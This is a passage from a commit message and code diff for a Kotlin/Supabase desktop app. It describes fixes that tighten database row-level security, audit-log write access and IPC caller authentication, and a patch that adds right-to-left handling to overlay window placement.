pre-seeds a victim's session_id with attacker-controlled tokens, which the victim's desktop imports as its own. Reported as BossConsole#528 by @Rushikeshiitb, including the fix shape used here. Safe because no client reaches the table directly any more, which I verified rather than took on trust: grepping the desktop source for completed_authentications returns nothing outside build output, and the desktop polls GET /passkey/auth/status/{sessionId} instead (SupabaseApiClient.kt:103). Every read and write happens inside the passkey Edge Function, whose Supabase client is built with SUPABASE_SERVICE_ROLE_KEY (passkey/index.ts:36). service_role bypasses RLS, so the anon and authenticated policies and grants are dead code on the live path. The authenticated policies go with the anon ones because the flow does not use them either, and leaving a role with standing access to a table of bearer tokens is the condition that made this exploitable. Follows 20260910120000_restrict_plugin_downloads_rls.sql: revoke the base-table privileges as well so the gate does not rest on RLS alone, including from PUBLIC, since a grant there would survive revoking the two named roles. The six policy names were checked against 20251023000013_rls_policies.sql programmatically. A mistyped name in DROP POLICY IF EXISTS is a silent no-op that would leave the hole open, and the pgTAP test asserts absence rather than trusting the drop. Co-Authored-By: Claude Opus 5 * test(db): carry over service_role privilege assertions from #530 BossConsole#530 by @Rushikeshiitb asserted that service_role keeps every verb on completed_authentications after the lockdown; this suite only checked the surviving policy. Merge the two companion submissions by adopting those four assertions (plan 11 -> 15) so a too-aggressive revoke of the service-role grant fails the pgTAP suite. * fix(db): revoke client EXECUTE on the expired-row cleanup RPC cleanup_expired_completed_authentications() is granted to anon and authenticated at 20251023000014_grants.sql:240-241, but no client code calls it: it returns void, only deletes rows past expires_at_timestamp, and after the table revoke it cannot execute its DELETE as a client anyway. Revoke the client EXECUTE so no client role keeps any handle to the token table, and pin it with three pgTAP assertions (plan 15 -> 18). Answering the open question raised in the PR description. * fix(db): also revoke PUBLIC EXECUTE on the cleanup RPC PostgreSQL grants EXECUTE on functions to PUBLIC by default, so the previous REVOKE ... FROM anon, authenticated left =X/postgres in the function ACL and has_function_privilege kept returning true for both client roles (pgTAP tests 16-17 failed on the previous head). Revoke from PUBLIC as well, matching the table revoke; service_role keeps its explicit grant (verified f|f|t in a scratch PostgreSQL 17). * test(db): pin the policy set and the verbs a named REVOKE leaves behind Claude's review of this PR found the two per-role policy checks would pass a policy created without a TO clause (pg_policies records it as roles = {public}, so it applies to everyone yet matches neither client role), that TRUNCATE - the one verb row level security cannot stop - was unasserted, and that authenticated was missing its UPDATE assertion. - Assert the full policy set is exactly the service_role one instead of checking each client role separately; verified on scratch PostgreSQL 17 that an unscoped policy fails the new assertion and passes the old one. - Assert TRUNCATE, REFERENCES and TRIGGER for both client roles, matching the precedent suite plugin_downloads_access_test.sql. - Add the authenticated UPDATE assertion, so both client roles are now covered per verb as the header promised. - Reword the cleanup-RPC comment to lead with the REVOKE EXECUTE as the actual gate and flag the stale SECURITY DEFINER header comment on cleanup_expired_completed_authentications (20251023000003_passkey_functions.sql:221) that made the fallback argument fragile. plan 18 -> 24. Verified all 24 assertions on a scratch PostgreSQL 17 replica of the post-migration state. --------- Co-authored-by: Claude Opus 5 Co-authored-by: kshivang Co-authored-by: Shivang * fix(security): stop two audit logs accepting forged rows from any client (#538) * fix(security): stop two audit logs accepting forged rows from any client `secret_access_log` and `plugin_api_key_logs` are the audit trails for secret access and for plugin-store API key usage. Both had an INSERT policy of `WITH CHECK (true)` with no `TO` clause, and a policy with no `TO` clause applies to PUBLIC, which includes anon and authenticated. Both tables are writable by those roles. secret_access_log has an explicit `GRANT ALL ... TO anon, authenticated`. plugin_api_key_logs has no explicit grant, but 20251023000014_grants.sql sets `ALTER DEFAULT PRIVILEGES ... GRANT ALL ON TABLES TO anon, authenticated` and that table is created later, so it inherits it. The anon key ships in the desktop client, so anybody could append arbitrary rows to either log. secret_access_log.user_id was unconstrained, so a row claiming another user viewed or shared a secret could be written at will, and the table's own SELECT policy then shows it to the named user and to every admin as though it were real. A genuine access event could equally be buried under forged entries, which is the failure an audit log exists to prevent. Neither policy comment described this. The plugin_api_key_logs policy is named "Service role can insert API key logs", which is what it was meant to be and not what it did. No legitimate writer is affected. Every function that writes secret_access_log inserts auth.uid() as user_id, which the new predicate permits. plugin_api_key_logs is written only by log_api_key_action(), which is SECURITY DEFINER and granted to service_role alone, so it bypasses RLS and needs no INSERT policy at all. Nineteen pgTAP assertions cover the fix, with privileges checked per verb rather than with a single ALL check, because has_table_privilege(..., 'ALL') is true only when every verb is held and one re-granted verb would pass an ALL-shaped assertion while leaving the hole open. Co-Authored-By: Claude Opus 5 * fix(db): close the definer-RPC door Claude's review opened Claude review found the plugin_api_key_logs half did not close the hole: log_api_key_action() is SECURITY DEFINER owned by postgres, and clients still held EXECUTE on it (PostgreSQL grants EXECUTE to PUBLIC by default, plus the schema-wide default-privilege grants inherited by this later-created function; the explicit service_role grant is additive). Any client could forge API-key history through the RPC even with the table locked. - Revoke EXECUTE on log_api_key_action() from PUBLIC, anon and authenticated; service_role (the only caller, via the plugin-store Edge Function's service-role client) keeps it. - secret_access_log: revoke authenticated INSERT too - every writer is SECURITY DEFINER owned by postgres and bypasses RLS without client table privilege, so a scoped client INSERT could only forge self-attributed rows. Drop the INSERT policy instead of recreating it scoped, since no client statement can insert anyway. - Tests: assert the RPC EXECUTE rejections/retention (3), flip the authenticated INSERT assertion, replace the three policy-shape assertions with an absence check (plan 19 -> 20). * fix(security): close the second RPC and the verbs a named REVOKE leaves behind Builds on kshivang's 2328a13, which closed the definer-RPC door the review found. Three things the review named are still open after it. update_api_key_last_used() has the same shape as log_api_key_action(): same file, SECURITY DEFINER, EXECUTE never revoked, service_role grant additive. A client can still stamp last_used_at on any key id, which corrupts the same audit story from the other end and makes a dormant key look live. Revoked, with the same three assertions the other RPC now has. Revoking named verbs leaves the rest of the original GRANT ALL: TRUNCATE, REFERENCES and TRIGGER. TRUNCATE is the one that matters, because it is not subject to row level security at all, so no policy can be its backstop. anon already lost these to the REVOKE ALL; authenticated did not. The per-verb argument in the test header was applied to one table. For plugin_api_key_logs only anon INSERT, authenticated INSERT and authenticated SELECT were asserted, so a re-grant of anon SELECT, UPDATE or DELETE, or of authenticated UPDATE or DELETE, failed nothing. That is the precise failure the header set out to prevent. The API key log policy's command is pinned too: a policy recreated as FOR ALL under the same name and role would otherwise pass every other assertion while granting far more. Six assertions are behavioural rather than catalogue-shaped, following plugin_downloads_access_test.sql: set the role, attempt the write, assert 42501. Each is one of the three defects in the migration header, tested directly rather than inferred from a privilege bit. Plan 20 to 39. I still cannot run supabase test db locally: no Supabase CLI, psql or Docker on this machine. CI's Database job remains the real check. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 Co-authored-by: kshivang * refactor(startup): split monolithic main.kt into modular startup phases (#450) * fix(microkernel): resolve startup failures and stabilize service lifecycle * fix: CI workflows * refactor(startup): split monolithic main.kt into modular startup phases * fix: CI and workflows * fix(startup): preserve failure notices and safe descendant teardown * test(startup): pin forwarding and shutdown extraction contracts * fix(kernel): report a restart cap once per failed generation * style(startup): format extraction regression tests * fix(startup): keep restored comments scoped to window composition * fix(startup): separate cancellation from shutdown timeout * fix(startup): acquire instance ownership before starting kernel * fix(startup): release ownership on construction failure and retry partial natives * fix(microkernel): retain repair notices and await forced process exit * test(startup): simplify interrupted native stream fixture * fix(startup): publish extracted native files atomically * fix(startup): coalesce retained diagnostics and normalize saved mode writes * fix(startup): unify effective mode gates and bound operator diagnostics * fix(settings): retain pending process mode and report save failures * fix(settings): synchronize pending mode across windows and explain unavailable builds * fix(settings): let shared preference refresh own displayed mode * fix(settings): use themed save errors and strengthen availability coverage * fix(build): restore store synchronization imports after dev integration * fix(settings): show running readiness and load mode support asynchronously * fix: failed menu save in BossWindow * fix(startup): integrate current dev, restore merge-dropped startup wiring The prior dev merge reintroduced closed #419 content on top of current dev, leaving duplicate single-instance blocks, a parallel BOSS_MODE preference writer, and dropped shutdown-registration wiring. - Remove the duplicate single-instance block in main.kt; keep the CliBootstrap.forwardToExistingInstance path - Restore the Phase 5 shutdown-hook registration (ShutdownSequence.register { kernelBootstrap } + lock-acquired log) that the merge dropped - Drop the branch's parallel EnvVars/ConfigLoader mode writers in favor of dev's canonical MicrokernelModePreference (#481); AdvancedSettings is byte-identical to dev - Route CLI deep-link forwarding through dev's forwardDeepLinkWithRetry (action links: 1 attempt; others: 3) without short-circuiting a multi-file selection after one failure - Restore awaitForcedExit waits + takeUnless{isAlive} unregister guards in OutOfProcessPluginSpawnerImpl cleanup/terminate (load-bearing for reaping; dev keeps the window-scoped hashed processId) - Remove dead microkernelMenuLabel; update CliBootstrap/EnvVars tests and AGENTS.md BOSS_MODE section to match dev's model * fix(startup): close the env_vars reader split and review follow-ups Env vars: - One shared normalization (EnvVarsFormat, commonMain) for the env_vars file: both in-repo readers (ConfigLoader's BOSS_MODE tier and MicrokernelModePreference's toggle reader) now parse identical line semantics, so Settings and the runtime gate can no longer state opposite modes for one file. export KEY=value is now recognized by both (shell convention; env_vars doubles as the secret-manager plugin's key file), and an indented '# BOSS_MODE=KERNEL' is a comment in both readers. - ConfigLoader.loadEnvVars widens its catch to Throwable: an ExceptionInInitializerError or NoClassDefFoundError from BossDirectories' own static init can no longer escape ConfigLoader's and poison every later getConfig call. - Restored dev's per-attempt 'Open request forwarding completed' INFO log in CliBootstrap (the extraction had left only the failure WARN). - A fully successful KERNEL spawn is logged, not toasted: only missing JARs or failed spawns report to the startup notice queue (previously every healthy launch showed a 12s developer-worded toast). Docs: - AGENTS.md: the env_vars priority paragraph and the microkernel toggle section no longer contradict each other - the toggle now activates the next launch via the env_vars tier, applied on restart, with the latched startup snapshot still as the 'restart required' comparand. - startupEnabledLatched KDoc updated to the post-env-vars-tier reality. Tests: - EnvVarsTest: export-prefixed and indented-comment line pins. - MicrokernelModePreferenceTest: indented-comment reads as disabled; new test asserts the settings reader and ConfigLoader reader agree line by line across the sample matrix. - ServiceStartupSummaryTest: the notice gate (no toast on a clean spawn, toast on missing/failed services). --------- Co-authored-by: Shivang Co-authored-by: kshivang * fix(kernel): require a verified caller identity for the secrets and RBAC IPC bridges (#505) * fix(kernel): require a verified caller identity for the secrets and RBAC IPC bridges BossConsole#53 built a ServerInterceptor (ProcessIdentityInterceptor / ProcessTokenRegistry) that verifies which process is calling the kernel's out-of-process IPC surface, independent of anything a request body claims - but only wired it into PluginUIServiceBridge. The other fourteen service bridges, documented in that interceptor's own KDoc as "none of them authenticated today", still trust every caller unconditionally. SecretServiceBridge and RoleManagementServiceBridge are the two where that actually matters: the whole password vault (list/search/create/update/ delete/share/unshare) and RBAC (roles, permissions, grants) had no caller attribution at all. Any out-of-process plugin that can reach the kernel's local IPC socket could read, mutate or share every secret, or mint and revoke permission grants, with nothing to tell one plugin's calls from another's. Both bridges now require AUTHENTICATED_PROCESS_ID on every RPC - reads included, not only mutations, since an unattributed read of the vault list is exactly the exposure this closes - and refuse with PERMISSION_DENIED before the request ever reaches the underlying provider when there is none. Every mutating call also logs the verified caller identity, so a compromised or rogue plugin's activity is attributable after the fact. Every legitimate out-of-process plugin already carries a valid credential in production (ChildProcessBootstrap attaches ProcessTokenClientInterceptor whenever BOSS_PROCESS_TOKEN is set, which ProcessSpawner sets for every child it spawns), so this closes the gap without changing behavior for any real plugin. Tests exercise both bridges over a real gRPC server and real client, mirroring PluginUIServiceBridgeTest's own harness: an authenticated caller succeeds, an anonymous one is refused, and - the assertion that actually matters - the underlying provider is never invoked on a refusal. * test(kernel): pin the identity gate on late-registered bridges and close the updateSecret gap - SecretServiceBridgeTest: updateSecret gets its own anonymous-refusal test, matching the vault mutations it already covered. - SecretServiceBridgeTest: a service registered on an already-started server (BossIpcServer's late-service fallback registry, as KernelBootstrap.registerPluginServices does) is still gated by ProcessIdentityInterceptor - anonymous calls are refused before the vault is reached, token calls go through. This pins the registration order (fallbackHandlerRegistry before intercept) the production path relies on. - KDoc on both authenticatedCallerOrRefuse helpers: the AUTHENTICATED_PROCESS_ID snapshot is correct for unary RPCs; a streaming bridge must read CURRENT_IDENTITY instead (see PluginUIServiceBridge.streamUI). * test(kernel): tighten RBAC/secret refusal assertions, add revoked-token coverage, fix stale KDocs RoleManagementServiceBridgeTest: getRolePermissions, validateRoleName and validatePermissionName were asserted only as "some StatusException", with no counters on FakeRoleManagementProvider at all - a bare assertFailsWith would pass just as happily on UNAVAILABLE or UNIMPLEMENTED, contradicting the class's own KDoc claim that every refusal test proves the provider was never reached. Added the three missing counters and now assert PERMISSION_DENIED plus a zero counter on every refusal in both bridge test files, not just the two "an anonymous caller is refused" tests. SecretServiceBridgeTest: the late-registration test called tokenRegistry.issue(DEFAULT_PROCESS) for the same id setUp already issued for - issue() replaces and invalidates the previous token by design, so this silently killed the credential the shared `authenticated` stub carries for the rest of the class. Now issues a distinct id. lateServer teardown moved into a finally so a failed assertion doesn't leak a bound server. Moved an orphaned KDoc comment back onto FakeSecretDataProvider (SingleServiceRegistry's insertion had left it dangling above the wrong class). Added a revoked-token test to both files: identityFor returns null for a token the registry no longer holds, the post-reapChildren/post-respawn case, previously untested - every existing refusal test only covered "no credential at all", not "a credential that was live and got pulled". Two stale KDoc facts fixed in boss-ipc: ProcessIdentityInterceptor's comment named PluginUIServiceBridge as the only bridge checking identity (now three of fifteen, with SecretServiceBridge and RoleManagementServiceBridge named); BossIpcServer's tokenRegistry KDoc claimed a null registry "leaves every service's behaviour exactly as it was", which stopped being true for a server hosting either of the two fail-closed bridges - a null registry there means every call refused, not merely unauthenticated as before. * docs(ipc): correct the unauthenticated bridge count in the interceptor KDoc The kernel registers 16 bridges on its ipcServer (15 in KernelBootstrap.registerPluginServices plus PluginUIServiceBridge at KernelBootstrap.kt:475); three authenticate, so thirteen are unauthenticated, not twelve. Per the Claude review's one-word count fix. --------- Co-authored-by: kshivang * fix(overlays): honor RTL and fractional placement * fix(overlays): carry RTL through regions and round owned dialogs * style(overlays): apply ktlintFormat to the RTL region repair --------- Signed-off-by: dependabot[bot] Co-authored-by: Nilesh Vasita Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Shivang Co-authored-by: Shivanshu Co-authored-by: Rushikeshiitb <169101337+Rushikeshiitb@users.noreply.github.com> Co-authored-by: Patel Karma Rohit Co-authored-by: Aditya8369 Co-authored-by: passionate-coder26 Co-authored-by: Antriksh1984 Co-authored-by: rehannayeem0786 Co-authored-by: rehannayeem0786 <128595058+rehannayeem0786@users.noreply.github.com> Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: john k Co-authored-by: john k Co-authored-by: Shwetas Dhake Co-authored-by: AdityaK-iiita Co-authored-by: Oleksii (Lexi) Kyrylchuk Co-authored-by: Sahvendra Co-authored-by: Aishwary Anand <201525941+Aishwary11-11@users.noreply.github.com> Co-authored-by: Aishwary Anand Co-authored-by: Ayush Santosh Chhatre <109429245+Ayush04-C@users.noreply.github.com> Co-authored-by: ayush Co-authored-by: Anshul Pundhir <129892939+pundhiranshul@users.noreply.github.com> Co-authored-by: Sanjay Co-authored-by: arjun28115 Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Achintya Chaurasia Co-authored-by: surfthewave-commits Co-authored-by: Ayushman <139611211+InfoSage05@users.noreply.github.com> Co-authored-by: Kanak Khandelwal <152528927+Kanakk23@users.noreply.github.com> Co-authored-by: Ishaan Chowdhury Co-authored-by: Karan Raj Co-authored-by: john_cybersage Co-authored-by: aryanbajaj868 <117334799+aryanbajaj868@users.noreply.github.com> Co-authored-by: Risa Labs Co-authored-by: john k Co-authored-by: kshivang Co-authored-by: Santhi Prakash <38608178+santhiprakash@users.noreply.github.com> Co-authored-by: pundhiranshul --- .../ai/rever/boss/app/BossAppScaffold.kt | 3 +- .../rever/boss/app/FocusModeQuickActions.kt | 7 ++- .../VerticalTabBarDrawer.kt | 17 ++++-- .../components/overlays/HeavyweightCorner.kt | 19 +++++-- .../overlays/OverlayWindowBounds.kt | 50 +++++++---------- .../rever/boss/app/ContentInsetLayoutTest.kt | 18 +++++- .../overlays/HeavyweightCornerTest.kt | 56 +++++++++++++++++++ 7 files changed, 126 insertions(+), 44 deletions(-) diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppScaffold.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppScaffold.kt index cb1f2823ca..a443dcddfa 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppScaffold.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppScaffold.kt @@ -97,6 +97,7 @@ import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.focus.focusRequester import androidx.compose.ui.platform.LocalDensity +import androidx.compose.ui.platform.LocalLayoutDirection import androidx.compose.ui.platform.LocalWindowInfo import androidx.compose.ui.unit.Dp import androidx.compose.ui.unit.DpSize @@ -699,7 +700,7 @@ internal fun BossAppScaffold( modifier = Modifier .weight(1f) - .reportContentInset(density) { contentInset = it }, + .reportContentInset(density, LocalLayoutDirection.current) { contentInset = it }, ) { BossWindow( modifier = Modifier.fillMaxSize(), diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/FocusModeQuickActions.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/FocusModeQuickActions.kt index 06906ce51d..56b78c9fa0 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/FocusModeQuickActions.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/FocusModeQuickActions.kt @@ -37,6 +37,7 @@ import androidx.compose.ui.platform.LocalWindowInfo import androidx.compose.ui.platform.testTag import androidx.compose.ui.unit.Dp import androidx.compose.ui.unit.DpSize +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp /** @@ -604,6 +605,7 @@ internal fun BoxScope.FocusModeQuickActions( */ internal fun Modifier.reportContentInset( density: Float, + layoutDirection: LayoutDirection, onInset: (DpSize) -> Unit, ): Modifier = onGloballyPositioned { coordinates -> @@ -616,7 +618,10 @@ internal fun Modifier.reportContentInset( // overlay outside the content pane - the failure `cornerPosition`'s floor prevents, // reintroduced a layer up. `boundsInRoot` clips to the root so it cannot go // negative today; this costs nothing and stops that being load-bearing. - ((root.width - bounds.right).coerceAtLeast(0f) / density).dp, + ( + (if (layoutDirection == LayoutDirection.Rtl) bounds.left else root.width - bounds.right) + .coerceAtLeast(0f) / density + ).dp, ((root.height - bounds.bottom).coerceAtLeast(0f) / density).dp, ), ) diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt index 1f63471364..f85cf5df32 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt @@ -18,9 +18,11 @@ import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.geometry.Rect import androidx.compose.ui.input.pointer.pointerInput +import androidx.compose.ui.platform.LocalLayoutDirection import androidx.compose.ui.unit.Dp import androidx.compose.ui.unit.DpSize import androidx.compose.ui.unit.IntRect +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import kotlin.math.roundToInt @@ -84,7 +86,7 @@ fun BoxScope.VerticalTabBarDrawer( val region = panelRegion ?: return val heavyweight = overlayCornerIsHeavyweight() - val drawerRegion = region.besideLeadingRail(railWidth) + val drawerRegion = region.besideLeadingRail(railWidth, LocalLayoutDirection.current) if (heavyweight) { OverlayCorner( @@ -127,10 +129,15 @@ fun BoxScope.VerticalTabBarDrawer( * beside the rail). That "wrong but visible" choice is inherited, not handled here, and only * bites for a panel narrower than the rail itself. */ -internal fun IntRect.besideLeadingRail(railWidth: Dp): IntRect { - val railEnd = (left + railWidth.value.roundToInt()).coerceAtMost(right) - return copy(left = railEnd) -} +internal fun IntRect.besideLeadingRail( + railWidth: Dp, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, +): IntRect = + if (layoutDirection == LayoutDirection.Rtl) { + copy(right = (right - railWidth.value.roundToInt()).coerceAtLeast(left)) + } else { + copy(left = (left + railWidth.value.roundToInt()).coerceAtMost(right)) + } /** * A layout rectangle converted to the dp-relative-to-content-pane form a heavyweight overlay is diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/HeavyweightCorner.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/HeavyweightCorner.kt index 9c64a7e40e..d92298e6da 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/HeavyweightCorner.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/HeavyweightCorner.kt @@ -19,6 +19,7 @@ import androidx.compose.ui.awt.ComposeDialog import androidx.compose.ui.layout.layout import androidx.compose.ui.layout.onGloballyPositioned import androidx.compose.ui.platform.LocalDensity +import androidx.compose.ui.platform.LocalLayoutDirection import androidx.compose.ui.unit.Constraints import androidx.compose.ui.unit.DpSize import androidx.compose.ui.unit.IntRect @@ -105,6 +106,7 @@ fun HeavyweightCorner( ) { val parent = LocalAwtWindow.current val density = LocalDensity.current.density + val layoutDirection = LocalLayoutDirection.current var measured by remember { mutableStateOf(null) } val size = measured ?: initialSize val bounds = trackedContentPaneBounds(parent) ?: return @@ -113,7 +115,10 @@ fun HeavyweightCorner( // `bounds` only changes identity on a real change (see [trackedContentPaneBounds]), and a fresh // array every recomposition would re-run the placement effect, and with it a native // setLocation, for nothing. - val region = remember(bounds, inset, regionInWindow) { resolveRegion(bounds, inset, regionInWindow) } + val region = + remember(bounds, inset, regionInWindow, layoutDirection) { + resolveRegion(bounds, inset, regionInWindow, layoutDirection) + } // The measurement ceiling is the REGION itself - the whole parent content pane - not the // first-frame [initialSize]. The ceiling is a hard clip, and toast text is arbitrary plugin // content: three wordy toasts can exceed a fixed height like 600dp, and because the window is @@ -127,14 +132,16 @@ fun HeavyweightCorner( val state = rememberWindowState( size = size, - position = cornerPosition(region, size, alignment).let { WindowPosition(it.first.dp, it.second.dp) }, + position = + cornerPosition(region, size, alignment, layoutDirection) + .let { WindowPosition(it.first.dp, it.second.dp) }, ) // Assign window state from an effect, never during composition - writing it inline during // composition is what made the cursor overlay jitter. - LaunchedEffect(size, region, alignment) { + LaunchedEffect(size, region, alignment, layoutDirection) { state.size = size - val at = cornerPosition(region, size, alignment) + val at = cornerPosition(region, size, alignment, layoutDirection) state.position = WindowPosition(at.first.dp, at.second.dp) } @@ -268,9 +275,9 @@ private fun OwnedCornerDialog( } dialog.setSize( state.size.width.value - .toInt(), + .roundToInt(), state.size.height.value - .toInt(), + .roundToInt(), ) }, ) { diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt index 7ffeecf258..f5778ef11c 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt @@ -7,6 +7,8 @@ import androidx.compose.runtime.remember import androidx.compose.ui.Alignment import androidx.compose.ui.unit.DpSize import androidx.compose.ui.unit.IntRect +import androidx.compose.ui.unit.IntSize +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import androidx.compose.ui.window.WindowPosition import androidx.compose.ui.window.WindowState @@ -142,19 +144,21 @@ internal fun resolveRegion( bounds: IntArray?, inset: DpSize, regionInWindow: IntRect?, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, ): IntArray? { - if (bounds == null || regionInWindow == null) return insetBounds(bounds, inset) + if (bounds == null || regionInWindow == null) return insetBounds(bounds, inset, layoutDirection) val left = regionInWindow.left.coerceIn(0, bounds[2]) val top = regionInWindow.top.coerceIn(0, bounds[3]) val width = regionInWindow.width.coerceAtMost(bounds[2] - left) val height = regionInWindow.height.coerceAtMost(bounds[3] - top) - if (width <= 0 || height <= 0) return insetBounds(bounds, inset) + if (width <= 0 || height <= 0) return insetBounds(bounds, inset, layoutDirection) return intArrayOf(bounds[0] + left, bounds[1] + top, width, height) } /** * Top-left corner, in AWT logical units, for an overlay of [size] placed at [alignment] inside * [bounds] - or the origin when the parent could not be measured. + * Start/end follow [layoutDirection]; absolute alignments retain their physical edges. * * Pure so the arithmetic is pinned by a test; composing a `Window` needs a display, so this is the * only reachable part. Offsets are floored at zero so content larger than the parent overhangs the @@ -164,39 +168,22 @@ internal fun cornerPosition( bounds: IntArray?, size: DpSize, alignment: Alignment, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, ): Pair { if (bounds == null) return 0 to 0 - val width = size.width.value.toInt() - val height = size.height.value.toInt() - val slackX = (bounds[2] - width).coerceAtLeast(0) - val slackY = (bounds[3] - height).coerceAtLeast(0) - val x = - bounds[0] + - when (alignment) { - Alignment.TopStart, Alignment.CenterStart, Alignment.BottomStart -> 0 - Alignment.TopEnd, Alignment.CenterEnd, Alignment.BottomEnd -> slackX - else -> slackX / 2 - } - val y = - bounds[1] + - when (alignment) { - Alignment.TopStart, Alignment.TopCenter, Alignment.TopEnd -> 0 - Alignment.BottomStart, Alignment.BottomCenter, Alignment.BottomEnd -> slackY - else -> slackY / 2 - } - return x to y + val content = IntSize(size.width.value.roundToInt(), size.height.value.roundToInt()) + val available = IntSize(bounds[2], bounds[3]) + val offset = alignment.align(content, available, layoutDirection) + return bounds[0] + offset.x.coerceAtLeast(0) to bounds[1] + offset.y.coerceAtLeast(0) } /** * [bounds], with [inset] taken off its END and BOTTOM edges - the sub-region a caller anchored to * part of the window is actually placing itself in. * - * Only the far edges, and that is the whole meaning rather than a simplification. The origin is - * where a `TopStart` overlay goes, and a caller inset from the right and the bottom has not moved - * its top-left corner anywhere - so a near-corner anchor must be unaffected while a far-corner one - * moves by exactly the inset. Expressing it as a smaller rectangle rather than as an offset added - * after the fact is what gets that for free, and keeps [cornerPosition]'s floor-at-the-origin - * behaviour applying to the region rather than to the window. + * End is physical right in LTR and left in RTL. Removing a left inset also moves the + * region's origin, so logical start stays fixed while logical end moves inward. Explicit + * regions remain physical rectangles; only the inset fallback needs a layout direction. * * Widths floor at zero: an inset wider than the window would otherwise produce a negative extent, * and [cornerPosition] would read that as slack and place the overlay outside the parent. @@ -209,16 +196,21 @@ internal fun cornerPosition( internal fun insetBounds( bounds: IntArray?, inset: DpSize, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, ): IntArray? { // An unmeasurable parent stays unmeasurable, and a zero inset returns the SAME instance - see // the KDoc on identity above. if (bounds == null || inset == DpSize.Zero) return bounds + val endInset = + inset.width.value + .roundToInt() + .coerceIn(0, bounds[2]) return intArrayOf( - bounds[0], + bounds[0] + if (layoutDirection == LayoutDirection.Rtl) endInset else 0, bounds[1], // Rounded, not truncated: the inset is derived as px / density, which is not integral at // fractional scale factors, and truncating loses up to a unit per axis. - (bounds[2] - inset.width.value.roundToInt()).coerceAtLeast(0), + bounds[2] - endInset, (bounds[3] - inset.height.value.roundToInt()).coerceAtLeast(0), ) } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt index 60aca26152..884e5a1388 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt @@ -12,9 +12,11 @@ import androidx.compose.runtime.Composable import androidx.compose.runtime.CompositionLocalProvider import androidx.compose.ui.Modifier import androidx.compose.ui.platform.LocalDensity +import androidx.compose.ui.platform.LocalLayoutDirection import androidx.compose.ui.test.junit4.createComposeRule import androidx.compose.ui.unit.Density import androidx.compose.ui.unit.DpSize +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import org.junit.Rule import org.junit.Test @@ -43,13 +45,17 @@ class ContentInsetLayoutTest { bottomBar: Boolean, topBar: Boolean = true, leftSidebar: Boolean = true, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, ): DpSize { var reported = DpSize(-1.dp, -1.dp) rule.setContent { // A density of exactly 1 is what makes the px-to-Dp conversion untestable: every wrong // answer equals the right one. Verified by mutation - dropping the divide passes at 1x // and fails here. The scale is arbitrary, only its being non-unit matters. - CompositionLocalProvider(LocalDensity provides Density(TEST_DENSITY)) { + CompositionLocalProvider( + LocalDensity provides Density(TEST_DENSITY), + LocalLayoutDirection provides layoutDirection, + ) { ScaffoldShape(rightSidebar, bottomBar, topBar, leftSidebar) { reported = it } } } @@ -76,7 +82,7 @@ class ContentInsetLayoutTest { Modifier .fillMaxHeight() .weight(1f) - .reportContentInset(density, onInset), + .reportContentInset(density, LocalLayoutDirection.current, onInset), ) if (rightSidebar) Bar(modifier = Modifier.fillMaxHeight().width(RIGHT_SIDEBAR)) } @@ -121,6 +127,14 @@ class ContentInsetLayoutTest { assertEquals(withNearChrome, withoutNearChrome) } + @Test + fun `RTL reports the logical end sidebar rather than the physical right sidebar`() { + assertEquals( + DpSize(RIGHT_SIDEBAR, BOTTOM_BAR), + insetFor(rightSidebar = true, bottomBar = true, layoutDirection = LayoutDirection.Rtl), + ) + } + private companion object { const val TEST_DENSITY = 2f diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/components/overlays/HeavyweightCornerTest.kt 